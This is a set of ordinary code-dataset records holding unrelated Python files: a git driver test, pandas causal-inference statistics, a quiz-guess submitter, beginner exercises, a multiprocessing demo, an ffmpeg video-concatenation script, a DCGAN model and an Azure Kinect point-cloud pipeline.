self.assertEqual(len(self.history), 1)\n self.assertEqual('SUCCESS',\n self.getJobFromHistory('tag-job').result)\n\n @simple_layout('layouts/basic-git.yaml', driver='git')\n def test_ref_deleted(self):\n count = self.ensure_watcher_has_context()\n # Delete default tag init to trigger a ref-updated event\n self.delTagFromRepo(\n 'org/project', 'init')\n # Wait for the git watcher to detect the ref-update event\n self.waitForEvent(count)\n self.waitUntilSettled()\n # Make sure no job as run as ignore-delete is True by default\n self.assertEqual(len(self.history), 0)\n","sub_path":"tests/unit/test_git_driver.py","file_name":"test_git_driver.py","file_ext":"py","file_size_in_byte":7391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"191155298","text":"import sys\nimport numpy as np\nimport pandas as pd\n\npd.set_option('max_columns', 1000)\npd.set_option('max_info_columns', 1000)\npd.set_option('expand_frame_repr', False)\npd.set_option('display.max_rows', 30000)\npd.set_option('max_colwidth', 4000)\npd.set_option('display.float_format', lambda x: '%.3f' % x)\n\n\ndef T_diff_lambda(y_t, y_c, lam='RSS'):\n Y_t = y_t['y'].groupby(y_t['stratum']).mean()\n N_t = y_t['y'].groupby(y_t['stratum']).count()\n Y_c = y_c['y'].groupby(y_c['stratum']).mean()\n N_c = y_c['y'].groupby(y_c['stratum']).count()\n\n if lam == 'RSS':\n l = (N_t + N_c) / (N_t.sum() + N_c.sum())\n return (l * (Y_t - Y_c)).sum()\n elif lam == 'OPT':\n l = ((N_t + N_c) * (N_t / (N_t + N_c)) * (N_c / (N_t + N_c))) / ((N_t + N_c) * (N_t / (N_t + N_c)) * (N_c / (N_t + N_c))).sum()\n return (l * (Y_t - Y_c)).sum()\n\ndef T_rank_stratum(y):\n y['rank'] = y['y'].groupby(y['stratum']).rank()\n y['norm'] = (y['y'].groupby(y['stratum']).transform('count') + 1) / 2\n y['normalized_rank'] = y['rank'] - y['norm']\n return np.abs(y.query('treatment == 1')['normalized_rank'].mean() - y.query('treatment == 0')['normalized_rank'].mean())\n\ndef T_range(y):\n y_t = y.query('treatment == 1')\n y_c = y.query('treatment == 0')\n\n Y_t = y_t['y'].groupby(y_t['stratum']).max() - y_t['y'].groupby(y_t['stratum']).min()\n Y_c = y_c['y'].groupby(y_c['stratum']).max() - y_c['y'].groupby(y_c['stratum']).min()\n\n N_t = y_t['y'].groupby(y_t['stratum']).count()\n N_c = y_c['y'].groupby(y_c['stratum']).count()\n l = (N_t + N_c) / (N_t.sum() + N_c.sum())\n\n return (l * (Y_t - Y_c)).sum()\n\nif __name__ == '__main__':\n np.random.seed(seed=2)\n N = 10\n J = 3\n df = pd.DataFrame(np.random.uniform(-1, 1, size=(N, 3)), columns=['one', 'two', 'three'])\n df['stratum'] = np.random.choice(range(J), size=(N, 1))\n df['treatment'] = np.random.choice([0, 1], size=(N, 1))\n df['y'] = np.random.uniform(0, 1, size=(N, 1))\n\n print(\n T_diff_lambda(\n df.query('treatment == 1')[['y', 'stratum']],\n df.query('treatment == 0')[['y', 'stratum']],\n lam='OPT'\n # lam='RSS'\n )\n )\n\n print(\n T_rank_stratum(\n df[['y', 'stratum', 'treatment']]\n )\n )\n\n print(\n T_range(\n df[['y', 'stratum', 'treatment']]\n )\n )\n","sub_path":"estimation/causal_inference/I_and_R_treatment effect evaluation/stratified_randomized_experiments/fep_stats.py","file_name":"fep_stats.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"174720580","text":"#!/usr/bin/env python3\nimport requests\nimport getpass\n\nBASE_URL = \"https://9n52ntmq97.execute-api.us-east-1.amazonaws.com/prod\"\nREQUEST_URL = \"{base_url}/guess\".format(base_url=BASE_URL)\nWRONG = {\n \"Arizona Cardinals\": 1,\n \"Atlanta Falcons\": 2,\n \"Baltimore Ravens\": 3,\n \"BearReport.com\": 4,\n \"BreakingBurgundy.com\": 5,\n \"Buffalo Bills\": 6,\n \"Carolina Panthers\": 7,\n \"Chicago Bears\": 8,\n \"Cincinnati Bengals\": 9,\n \"Cleveland Browns\": 10,\n \"CowboysHQ.com\": 11,\n \"Dallas Cowboys\": 12,\n \"Denver Broncos\": 13,\n \"Detroit Lions\": 14,\n \"DolphinsReport.com\": 15,\n \"Green Bay Packers\": 16,\n \"Houston Texans\": 17,\n \"Indianapolis Colts\": 18,\n \"Jacksonville Jaguars\": 19,\n \"JaguarsForever.com\": 20,\n \"Kansas City Chiefs\": 21,\n \"Los Angeles Chargers\": 22,\n \"Los Angeles Rams\": 23,\n \"Miami Dolphins\": 24,\n \"MileHighHuddle.com\": 25,\n \"Minnesota Vikings\": 26,\n \"New England Patriots\": 27,\n \"New Orleans Saints\": 28,\n \"New York Giants\": 29,\n \"New York Jets\": 30,\n \"Oakland Raiders\": 31,\n \"PackerReport.com\": 32,\n \"PatriotsInsider.com\": 33,\n \"Philadelphia Eagles\": 34,\n \"Pittsburgh Steelers\": 35,\n \"San Francisco 49ers\": 36,\n \"Seattle Seahawks\": 37,\n \"StateoftheTexans.com\": 38,\n \"SteelCityInsider.net\": 39,\n \"Tampa Bay Buccaneers\": 40,\n \"Tennessee Titans\": 41,\n \"TheGiantsBeat.com\": 42,\n \"theOBR.com\": 43,\n \"VikingUpdate.com\": 44,\n \"Washington Redskins\": 45,\n}\n\n\ndef submit_request(guess, username):\n print(\"Submitting guess!\")\n resp = requests.post(REQUEST_URL, json={\n \"results\": guess,\n \"username\": username\n })\n print(resp.text)\n\n\nif __name__ == '__main__':\n submit_request(WRONG, getpass.getuser())\n","sub_path":"submit_guess.py","file_name":"submit_guess.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"289990980","text":"#1)\r\nnum = int(input(\"정수입력 : \"))\r\nfor i in range(num, 0, -1):\r\n print(i, end=\" \")\r\nprint(\"\")\r\n\r\n#2)\r\nfor i in range(1, 5, 1):\r\n number = int(input(\"양의정수를 입력하시오 : \"))\r\n if number == 0:\r\n print(\"0은 0입니다.\")\r\n elif number < 0:\r\n print(\"잘못된 입력입니다.\")\r\n else:\r\n if number % 2 == 0:\r\n print(number,\"은 짝수입니다.\")\r\n else:\r\n print(number,\"은 홀수입니다.\")\r\n\r\n#3)\r\nx = 1\r\nmoney = 0\r\nfor i in range(1, 31, 1):\r\n money = money + x\r\n x = x * 2\r\nprint(money)\r\n\r\n#4)\r\nnum1 = int(input(\"정수 입력: \"))\r\ncheck = True\r\nfor i in range(2, num1, 1):\r\n if num1 % i == 0:\r\n check = False\r\n break\r\nif check == True:\r\n print(\"소수입니다.\")\r\nelse:\r\n print(\"소수가 아닙니다.\")\r\n\r\n#5)\r\nx = []\r\nfirst = int(input(\"정수입력 : \"))\r\nsecond = int(input(\"정수입력 : \"))\r\nif first > second:\r\n tmp = first\r\n first = second\r\n second = tmp\r\nfor i in range(1, second+1, 1):\r\n if first % i == 0 and second % i == 0:\r\n print(i, end=\" \")\r\n x.append(i)\r\nprint(max(x))","sub_path":"45)문제풀이.py","file_name":"45)문제풀이.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"609109705","text":"import multiprocessing\nfrom time import ctime\n#消费者\ndef consumer(input_q):\n print(\"into consumer:\", ctime())\n while True:\n #处理项\n itme = input_q.get()\n print(\"pull\", itme, \"out of q\")# 此处替换为有用的工作\n input_q.task_done()# 发出信号通知任务完成\n print(\"out of consumer:\", ctime())# 此句未执行,因为q.join收到四个task_done()信号后,主进程启动,未等到print此句完成\n #生产者\ndef producer(seqence, output_q):\n print(\"into procuder:\", ctime())\n for item in seqence:\n output_q.put(item)\n print(\"put\", item, \"into q\")\n print(\"out of procuder:\", ctime())\n\n\n# 建立进程\nif __name__ == '__main__':\n q = multiprocessing.JoinableQueue()\n # 运行消费者进程\n cons_p = multiprocessing.Process(target=consumer, args=(q,))\n # 守护进程\n cons_p.daemo = True\n cons_p.start()\n # 生产多个项,sequence代表要发送给消费者的项序列\n # 在实践中,这可能是生成器的输出或通过一些其它方式生产出来\n seqence = [1,2,3,4]\n producer(seqence, q)\n #等待所有项被处理\n q.join()","sub_path":"python/senior/py-24-duoxianc/22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"611850554","text":"import os\n\ndef convertVideo(inputVideo):\n command = \"\"\"ffmpeg -i input_videos/\"{inputVideo}\" \\\n -c copy temp_videos/temp1.mkv\"\"\".format(inputVideo=inputVideo)\n\n os.system(command)\n\ndef addOverlay(class_type,text,extention):\n if extention == \"webm\":\n command = '''ffmpeg -i class_type_videos/{class_type}.mkv -vf drawtext=\"text={text} \\\n :fontcolor=black :fontsize=50: box=1: boxcolor=white@1.0: boxborderw=10: x=(w-text_w)/2: y=(h-text_h)-300\" \\\n -vcodec libvpx -acodec libopus temp_videos/class_type_video.mkv'''.format(class_type=class_type,text=text)\n else:\n command = '''ffmpeg -i class_type_videos/{class_type}.mkv -vf drawtext=\"text={text} \\\n :fontcolor=black :fontsize=50: box=1: boxcolor=white@1.0: boxborderw=10: x=(w-text_w)/2: y=(h-text_h)- 300\" \\\n -c:a copy temp_videos/class_type_video.mkv'''.format(class_type=class_type,text=text)\n\n os.system(command)\n\ndef conacatnateVideos(finalVideoName):\n print(\"*\" * 100)\n print(finalVideoName)\n print(\"*\" * 100)\n\n with open('./input.txt','w') as file:\n file.write(\"file 'temp_videos/class_type_video.mkv'\\n\")\n file.write(\"file 'temp_videos/temp1.mkv'\\n\")\n\n command = \"\"\"ffmpeg -f concat -safe 0 -i ./input.txt \\\n -c copy output_videos/\"{finalVideoName}\" \"\"\".format(finalVideoName=finalVideoName)\n os.system(command)\n\ndef deleteTempVideo():\n os.remove(\"temp_videos/temp1.mkv\")\n os.remove(\"temp_videos/class_type_video.mkv\")\n\n\ndef setup():\n for video_file in os.listdir('input_videos/'):\n if(video_file != \".DS_Store\"):\n videodetails = video_file.strip().split('_')\n curriculum_type = videodetails[0]\n curriculum_lesson_code = videodetails[1].split('.')[0]\n video_extention = videodetails[1].split('.')[1]\n text = videodetails[1].split('.')[0]\n\n final_video_name = videodetails[1].split('.')[0] + \".mkv\"\n convertVideo(video_file)\n addOverlay(curriculum_type, text, video_extention)\n conacatnateVideos(final_video_name)\n deleteTempVideo()\n\nsetup()\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"412350697","text":"'''\nAuthors: Alex Buck, Thomas Huang, Arjun Sree Manoj\nDate: 4/15/20\n\nAzurePostProcess: Run our pipeline with post-scan processing using the Azure Kinect\n'''\n\nimport argparse\nimport open3d as o3d\nimport numpy as np\nimport copy\n\nclass AzureKinect:\n def __init__(self):\n self.config = o3d.io.AzureKinectSensorConfig()\n self.device = 0\n self.align_depth_to_color = 1\n self.flag_exit = False\n\n self.source_pcd = o3d.geometry.PointCloud()\n self.base_pcd = o3d.geometry.PointCloud()\n self.pcd_temp = o3d.geometry.PointCloud()\n\n self.source_fph = o3d.registration.Feature()\n\n self.base_id = 0\n self.target_id = 1\n\n self.init_trans = np.identity(4)\n self.current_trans = np.identity(4)\n\n self.voxel_radius = 0.01\n self.max_corres_dist = 1.5\n self.intrinsics = o3d.camera.PinholeCameraIntrinsic(1280, 720, 601.1693115234375, 600.85931396484375,\n 637.83624267578125, 363.8018798828125)\n\n self.depth_array = []\n self.color_array = []\n self.rgbd_array = []\n\n def start(self):\n self.sensor = o3d.io.AzureKinectSensor(self.config)\n if not self.sensor.connect(self.device):\n raise RuntimeError('Failed to connect to sensor')\n\n def escape_callback(self, vis):\n self.flag_exit = True\n return False\n\n '''\n Function: split RGBD image into color & depth frames\n\n Param: self\n Output: color & depth frames\n ''' \n def frames(self):\n while 1:\n rgbd = self.sensor.capture_frame(self.align_depth_to_color)\n if rgbd is None:\n continue\n color, depth = np.asarray(rgbd.color).astype(np.uint8), np.asarray(rgbd.depth).astype(np.float32) / 1000.0\n return color, depth\n\n '''\n Function: Run camera input until escape flag is called\n '''\n def run(self):\n\n glfw_key_escape = 256\n vis = o3d.visualization.VisualizerWithKeyCallback()\n vis.register_key_callback(glfw_key_escape, self.escape_callback)\n vis.create_window('viewer', 1920, 540)\n print(\"Sensor initialized. Press [ESC] to exit.\")\n\n while not self.flag_exit:\n\n rgbd = self.sensor.capture_frame(self.align_depth_to_color)\n\n if rgbd is None:\n continue\n\n #self.rgbd_array.append(rgbd)\n\n\n color, depth = np.asarray(rgbd.color).astype(np.uint8), np.asarray(rgbd.depth).astype(np.float32) / 1000.0\n #color, depth = self.frames()\n\n depth = o3d.geometry.Image(depth)\n color = o3d.geometry.Image(color)\n\n self.depth_array.append(depth)\n self.color_array.append(color)\n\n\n vis.add_geometry(rgbd)\n #vis.add_geometry(self.base_pcd)\n #vis.update_geometry(self.base_pcd)\n vis.update_geometry(rgbd)\n vis.poll_events()\n vis.update_renderer()\n #vis.remove_geometry(self.base_pcd)\n\n '''\n Function: Downsamples & takes important features of pointcloud to be used for registration\n\n Output: downsampled pointcloud, pointcloud with distinct features\n '''\n def pointcloud_sampling(self):\n self.pcd_temp.transform([[1, 0, 0, 0], [0, -1, 0, 0], [0, 0, -1, 0], [0, 0, 0, 1]])\n pc_temp = copy.deepcopy(self.pcd_temp)\n pc_temp = o3d.geometry.PointCloud.voxel_down_sample(pc_temp, voxel_size=self.voxel_radius)\n o3d.geometry.PointCloud.estimate_normals(pc_temp, o3d.geometry.KDTreeSearchParamHybrid(radius=0.5, max_nn=30))\n pc_fph = o3d.registration.compute_fpfh_feature(pc_temp, o3d.geometry.KDTreeSearchParamHybrid(radius=0.5 * 5.0,\n max_nn=30))\n return pc_temp, pc_fph\n\n '''\n Function: registers pointclouds to each other using fast, coarse, and fine registration\n\n Param: pc_fph -> pointcloud with features used for registration\n Output: tranformation pointcloud, information matrix from registration\n '''\n def registration(self, pc_fph):\n source_temp = copy.deepcopy(self.source_pcd)\n target_temp = copy.deepcopy(self.pcd_temp)\n\n result = o3d.registration.registration_fast_based_on_feature_matching(source_temp, target_temp, self.source_fph,\n pc_fph,\n o3d.registration.FastGlobalRegistrationOption())\n\n icp_coarse = o3d.registration.registration_icp(\n source_temp, target_temp, self.voxel_radius * 10, result.transformation,\n o3d.registration.TransformationEstimationPointToPlane())\n\n icp_fine = o3d.registration.registration_icp(\n source_temp, target_temp, self.voxel_radius * 1.0, icp_coarse.transformation,\n o3d.registration.TransformationEstimationPointToPlane())\n\n information_icp = o3d.registration.get_information_matrix_from_point_clouds(\n source_temp, target_temp, self.voxel_radius * 1.0,\n icp_fine.transformation)\n\n transformation = icp_fine.transformation\n\n return transformation, information_icp\n\n '''\n Function: creates pose graph from registered point cloud\n\n Output: pose graph created using transformation pointcloud and information matrix\n '''\n def create_pose_graph(self):\n odometry = np.identity(4)\n pose_graph = o3d.registration.PoseGraph()\n\n trans, information_icp = self.registration(self.pc_fph)\n odometry = np.dot(trans, odometry)\n\n pose_graph.nodes.append(o3d.registration.PoseGraphNode(np.linalg.inv(odometry)))\n\n pose_graph.edges.append(\n o3d.registration.PoseGraphEdge(self.base_id, self.target_id, self.current_trans, information_icp, uncertain=True))\n\n pose_graph.edges.append(\n o3d.registration.PoseGraphEdge(self.base_id, self.target_id, self.current_trans, information_icp,\n uncertain=False))\n return pose_graph\n\n '''\n Function: optimizes pose graph\n\n Param: pose_graph -> pose graph constructed from the pointcloud\n max_corres_dist -> maximum correspondance distance between two nodes\n '''\n def optimize_Pose(self, pose_graph, max_corres_dist):\n option = o3d.registration.GlobalOptimizationOption(\n max_correspondence_distance=max_corres_dist,\n edge_prune_threshold=0.50,\n reference_node=0)\n o3d.registration.global_optimization(\n pose_graph, o3d.registration.GlobalOptimizationLevenbergMarquardt(),\n o3d.registration.GlobalOptimizationConvergenceCriteria(), option)\n\n '''\n Function: processes images collected during run() & visualizes processing\n '''\n def postProcess(self):\n\n vis = o3d.visualization.Visualizer()\n vis.create_window('viewer', 1920, 1080)\n\n source_pcd_added = False\n\n for img in range(len(self.color_array)):\n\n #color, depth = np.asarray(self.color_array[img]).astype(np.uint8), np.asarray(self.depth_array[img]).astype(np.float32) / 1000.0\n\n rgbd_pcd = o3d.geometry.RGBDImage.create_from_color_and_depth(self.color_array[img], self.depth_array[img], depth_scale=1.0, depth_trunc=0.50,\n convert_rgb_to_intensity=False)\n\n self.pcd_temp = o3d.geometry.PointCloud.create_from_rgbd_image(rgbd_pcd, self.intrinsics)\n #self.pcd_temp.transform([[1, 0, 0, 0], [0, -1, 0, 0], [0, 0, -1, 0], [0, 0, 0, 1]])\n self.pcd_temp, self.pc_fph = self.pointcloud_sampling()\n\n if not source_pcd_added:\n\n self.base_pcd = self.pcd_temp\n self.source_pcd = self.pcd_temp\n self.source_fph = self.pc_fph\n vis.add_geometry(self.base_pcd)\n # vis.add_geometry(rgbd)\n source_pcd_added = True\n\n else:\n #information_icp = self.registration(self.pc_fph)\n pose_graph = self.create_pose_graph()\n self.optimize_Pose(pose_graph, self.max_corres_dist)\n\n self.pcd_temp.transform(pose_graph.nodes[self.base_id].pose)\n self.base_pcd += self.pcd_temp\n\n vis.add_geometry(self.base_pcd)\n vis.update_geometry(self.base_pcd)\n vis.poll_events()\n vis.update_renderer()\n\n self.source_pcd = copy.deepcopy(self.pcd_temp)\n self.source_fph = self.pc_fph\n\n\n\n #self.base_pcd = o3d.geometry.PointCloud.voxel_down_sample(self.base_pcd, voxel_size=0.2)\n\ncam = AzureKinect()\ncam.start()\ncam.run()\ncam.postProcess()\no3d.visualization.draw_geometries([cam.base_pcd])\n\n# attempts surface reconstruction based on ball-pivoting algorithm\nmesh = o3d.geometry.TriangleMesh.create_from_point_cloud_ball_pivoting(cam.base_pcd, o3d.utility.DoubleVector([0.007, 0.007 *2]))\no3d.visualization.draw_geometries([mesh])\n# attempts surface reconstruction based on Poisson algorithm\n[mesh_p, vector_p] = o3d.geometry.TriangleMesh.create_from_point_cloud_poisson(cam.base_pcd)\no3d.visualization.draw_geometries([mesh_p])","sub_path":"src/Azure Kinect/AzurePostProcess.py","file_name":"AzurePostProcess.py","file_ext":"py","file_size_in_byte":9375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"38457826","text":"# coding: utf-8\r\nimport tensorflow as tf\r\nslim = tf.contrib.slim\r\nfrom utils import expected_shape\r\nimport ops\r\nfrom basemodel import BaseModel\r\nimport math\r\n'''Original hyperparams:\r\noptimizer - SGD\r\ninit - stddev 0.02\r\n'''\r\n\r\nclass DCGAN_GP(BaseModel):\r\n def __init__(self, name, training, D_lr=2e-4, G_lr=2e-4, image_shape=[64, 64, 3], z_dim=100):\r\n self.beta1 = 0.5\r\n self.ld = 10 #Scaling for regualarizing term\r\n super(DCGAN_GP, self).__init__(name=name, training=training, D_lr=D_lr, G_lr=G_lr,\r\n image_shape=image_shape, z_dim=z_dim)\r\n\r\n def _build_train_graph(self):\r\n with tf.variable_scope(self.name):\r\n X = tf.placeholder(tf.float32, [None] + self.shape)\r\n z = tf.placeholder(tf.float32, [None, self.z_dim])\r\n global_step = tf.Variable(0, name='global_step', trainable=False)\r\n G = self._generator(z)\r\n D_real_prob, D_real_logits = self._discriminator(X)\r\n D_fake_prob, D_fake_logits = self._discriminator(G, reuse=True)\r\n\r\n G_loss = tf.losses.sigmoid_cross_entropy(tf.ones_like(D_fake_logits), logits=D_fake_logits)\r\n D_loss_real = tf.losses.sigmoid_cross_entropy(tf.ones_like(D_real_logits), logits=D_real_logits)\r\n D_loss_fake = tf.losses.sigmoid_cross_entropy(tf.zeros_like(D_fake_logits), logits=D_fake_logits)\r\n D_loss = D_loss_real + D_loss_fake\r\n\r\n # Gradient Penalty (GP)\r\n eps = tf.random_uniform(shape=[tf.shape(X)[0], 1, 1, 1], minval=0., maxval=1.)\r\n x_hat = eps*X + (1.-eps)*G\r\n D_xhat = self._discriminator(x_hat, reuse=True)\r\n D_xhat_grad = tf.gradients(D_xhat, x_hat)[0] # gradient of D(x_hat)\r\n D_xhat_grad_norm = tf.norm(slim.flatten(D_xhat_grad), axis=1) # l2 norm\r\n GP = self.ld * tf.reduce_mean(tf.square(D_xhat_grad_norm - 1.))\r\n\r\n D_loss += GP\r\n\r\n D_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=self.name+'/D/')\r\n G_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=self.name+'/G/')\r\n\r\n D_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS, scope=self.name+'/D/')\r\n G_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS, scope=self.name+'/G/')\r\n\r\n with tf.control_dependencies(D_update_ops):\r\n D_train_op = tf.train.AdamOptimizer(learning_rate=self.D_lr, beta1=self.beta1).\\\r\n minimize(D_loss, var_list=D_vars)\r\n with tf.control_dependencies(G_update_ops):\r\n # learning rate 2e-4/1e-3\r\n G_train_op = tf.train.AdamOptimizer(learning_rate=self.G_lr, beta1=self.beta1).\\\r\n minimize(G_loss, var_list=G_vars, global_step=global_step)\r\n\r\n # summaries\r\n # per-step summary\r\n self.summary_op = tf.summary.merge([\r\n tf.summary.scalar('G_loss', G_loss),\r\n tf.summary.scalar('D_loss', D_loss),\r\n tf.summary.scalar('D_loss/real', D_loss_real),\r\n tf.summary.scalar('D_loss/fake', D_loss_fake)\r\n ])\r\n\r\n # sparse-step summary\r\n tf.summary.image('G', G, max_outputs=self.FAKE_MAX_OUTPUT)\r\n tf.summary.histogram('real_probs', D_real_prob)\r\n tf.summary.histogram('fake_probs', D_fake_prob)\r\n self.all_summary_op = tf.summary.merge_all()\r\n\r\n # accesible points\r\n self.X = X\r\n self.z = z\r\n self.D_train_op = D_train_op\r\n self.G_train_op = G_train_op\r\n self.G_loss = G_loss\r\n self.D_loss = D_loss\r\n self.G = G\r\n self.global_step = global_step\r\n self.D_grad_norm = D_xhat_grad_norm\r\n self.D_fake_prob = D_fake_prob\r\n # Image In-painting\r\n self.mask = tf.placeholder(tf.float32, self.shape, name='mask')\r\n self.lam = 0.003 # Value taken from paper\r\n\r\n # Reduce the difference in the masked part -- TODO : Add weighting term (from paper) to the mask*image product\r\n self.contextual_loss = tf.reduce_mean(\r\n tf.contrib.layers.flatten(\r\n tf.abs(tf.multiply(self.mask, self.G) - tf.multiply(self.mask, self.X))), 1)\r\n\r\n # The reconstructed/completed image must also \"fool\" the discriminator\r\n self.perceptual_loss = self.G_loss\r\n self.complete_loss = self.contextual_loss + self.lam*self.perceptual_loss\r\n self.grad_complete_loss = tf.gradients(self.complete_loss, self.z)\r\n self.grad_perceptual_loss = tf.gradients(self.perceptual_loss,self.z)\r\n self.grad_contextual_loss = tf.gradients(self.contextual_loss,self.z)\r\n self.grad_norm_perceptual_loss = tf.norm(self.grad_perceptual_loss,axis=1)\r\n self.grad_norm_contextual_loss = tf.norm(self.grad_contextual_loss,axis=1)\r\n\r\n def _discriminator(self, X, reuse=False):\r\n with tf.variable_scope('D', reuse=reuse):\r\n net = X\r\n width = self.shape[0]\r\n filter_num = 64\r\n stride = 2\r\n num_conv_layers = 4\r\n with slim.arg_scope([slim.conv2d], kernel_size=[5,5], stride=stride, padding='SAME', activation_fn=ops.lrelu,\r\n normalizer_fn=slim.batch_norm, normalizer_params=self.bn_params):\r\n for layer_num in range(1,num_conv_layers + 1):\r\n if layer_num == 1: # No batch norm for the first convolution\r\n net = slim.conv2d(net, filter_num, normalizer_fn=None)\r\n else:\r\n net = slim.conv2d(net, filter_num)\r\n output_dim = math.ceil(width/stride) # Since padding='SAME', refer : https://www.tensorflow.org/api_guides/python/nn#Convolution -- Ishaan\r\n expected_shape(net, [output_dim, output_dim, filter_num])\r\n width = width // 2\r\n filter_num = filter_num*2\r\n\r\n net = slim.flatten(net)\r\n logits = slim.fully_connected(net, 1, activation_fn=None)\r\n prob = tf.sigmoid(logits)\r\n\r\n return prob, logits\r\n\r\n def _generator(self, z, reuse=False):\r\n with tf.variable_scope('G', reuse=reuse):\r\n net = z\r\n net = slim.fully_connected(net, 4*4*1024, activation_fn=tf.nn.relu)\r\n net = tf.reshape(net, [-1, 4, 4, 1024])\r\n filter_num = 512\r\n input_size = 4\r\n stride = 2\r\n with slim.arg_scope([slim.conv2d_transpose], kernel_size=[5,5], stride=stride, padding='SAME',\r\n activation_fn=tf.nn.relu, normalizer_fn=slim.batch_norm, normalizer_params=self.bn_params):\r\n while input_size < (self.shape[0]//stride):\r\n net = slim.conv2d_transpose(net, filter_num)\r\n expected_shape(net, [input_size*stride, input_size*stride, filter_num])\r\n filter_num = filter_num//2\r\n input_size = input_size*stride\r\n\r\n net = slim.conv2d_transpose(net,self.shape[2], activation_fn=tf.nn.tanh, normalizer_fn=None)\r\n expected_shape(net, [self.shape[0], self.shape[1],self.shape[2]])\r\n\r\n return net\r\n","sub_path":"src/models/dcgan_gp.py","file_name":"dcgan_gp.py","file_ext":"py","file_size_in_byte":7339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"71521825","text":"import re\nimport datetime, time\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\n# class DataSource:\n# def __init__(self, table_config, con):\n# self.con = con\n# self.table_owner = table_config.tableOwner\n# self.table_name = table_config.tableName\n# self.topic = table_config.topic\n# self.hwm_info = table_config.hwmInfo\n#\n# self.columns = []\n#\n#\n# # should store the HWM\n# # assumes the data source db connection is the same as the HWM db connection\n# # if we store HWM outside of Oracle it could be different\n# self.HWM = HighWaterMark(con, self.table_name, self.table_owner, self.hwm_info)\n#\n# self.table = Table(con, table_config)\n#\n# self.cur = self.con.cursor()\n#\n# def fetchDelta(self):\n# batchStartTime = datetime.datetime.now()\n# initPerfCounter = time.perf_counter()\n# batchCounter = 0\n#\n# try:\n# self.cur.execute(self.table.deltaSQL, hwm=self.HWM.hwm)\n# except cx_Oracle.OperationalError:\n# logger.error('Unable to fetch next set of rows.')\n# raise\n#\n# self.columns = self.table.columns(self.cur)\n#\n# return self.cur\n#\n#\n# class HighWaterMark():\n#\n# def __init__(self, dbConnection, table_name, table_owner, hwm_info):\n# self.hwm = self.getHWM(dbConnection, table_name, table_owner, hwm_info)\n#\n# def getHWM(self, dbConnection, table_name, table_owner, hwm_info):\n# # this does not feel like a particularly polymorphic technique\n# #colSelect = '' #not needed based on scope info I recently learned\n#\n# logger.debug('Data type for HWM field on %s is %s', table_name, hwm_info['datatype'])\n#\n# if hwm_info['datatype'].upper() == 'NUMBER':\n# colSelect = 'nvl(hwm_number, 0)'\n# elif hwm_infoo['datatype'].upper() == 'DATE':\n# colSelect = 'nvl(hwm_date, SYSDATE - 1)'\n# elif hwm_info['datatype'].upper() == 'TIMESTAMP':\n# colSelect = 'hwm_timestamp'\n#\n# # TODO: move hwm tracking out of cnelson schema\n# # TODO: make hwm tracking less Oracle-specific\n# sql = '''select %s as hwm_value\n# from cnelson.kafka_hwm\n# where 1 = 1\n# and upper(table_owner) = upper(:table_owner)\n# and upper(table_name) = upper(:table_name)\n# and 1 = 1''' % colSelect\n#\n# cur = dbConnection.cursor()\n# logger.info('Getting HWM for %s.%s', table_owner, table_name)\n# cur.execute(sql, table_owner=table_owner, table_name=table_name)\n# try:\n# self.hwm = cur.fetchone()[0] # returns record as a tuple, result will only be a single row\n# cur.close()\n# return self.hwm\n#\n# except TypeError:\n# logging.warning('that HWM entry does not exist.')\n#\n# # should I re-invoke getHWM at this point? Yes, I should, and I do.\n# # we add the entry to the table, then set the proper initial HWM value, as well as the local hwm value.\n# self.hwm = self.seedHWM(dbConnection, table_owner, table_name)\n# self.updateHWM(dbConnection, table_owner, table_name, hwm_info)\n#\n# dbConnection.commit()\n# logging.warning('...but it was automatically added for you at HWM = %s' % self.hwm)\n# return self.hwm\n#\n# def updateHWM(self, dbConnection, table_owner, table_name, hwm_info):\n# # this does not feel like a particularly polymorphic technique\n# colSelect = ''\n# if hwm_info['hwm_datatype'] == 'NUMBER':\n# colSelect = 'hwm_number'\n# elif hwm_info['hwm_datatype'] == 'DATE':\n# colSelect = 'hwm_date'\n# elif hwm_info['hwm_datatype'] == 'TIMESTAMP':\n# colSelect = 'hwm_timestamp'\n#\n# sql = '''update cnelson.kafka_hwm\n# set %s = :hwm\n# where 1 = 1\n# and upper(table_owner) = upper(:table_owner)\n# and upper(table_name) = upper(:table_name)\n# and 1 = 1''' % colSelect\n# logging.debug(sql)\n#\n# cur = dbConnection.cursor()\n# cur.execute(sql, hwm=self.hwm, table_owner=table_owner, table_name=table_name)\n# cur.close()\n#\n# return self.hwm\n#\n# def incrementLocalHWM(self, newHWM):\n# if newHWM > self.hwm:\n# self.hwm = newHWM\n#\n# return self.hwm\n#\n# def seedHWM(self, dbConnection, table_owner, table_name):\n# # determine how to initialize the HWM value to force a full pull, or just pick up from current state\n#\n# # TODO: move hwm tracking out of cnelson schema\n# # TODO: make hwm tracking less Oracle-specific\n# sql = '''insert into cnelson.kafka_hwm (table_owner, table_name)\n# values(upper(:table_owner), upper(:table_name))'''\n# logging.debug(table_owner)\n# logging.debug(table_name)\n# logging.debug(sql)\n#\n# cur = dbConnection.cursor()\n# cur.execute(sql, table_owner=table_owner, table_name=table_name)\n# cur.close()\n#\n# # TODO: add a method to fastforward the HWM to the current max value (not to be confused with initialization to max)\n# if hwm_info['init'] == 'min':\n# if hwm_info['datatype'].upper() == 'NUMBER':\n# initHWM = 0\n#\n# elif 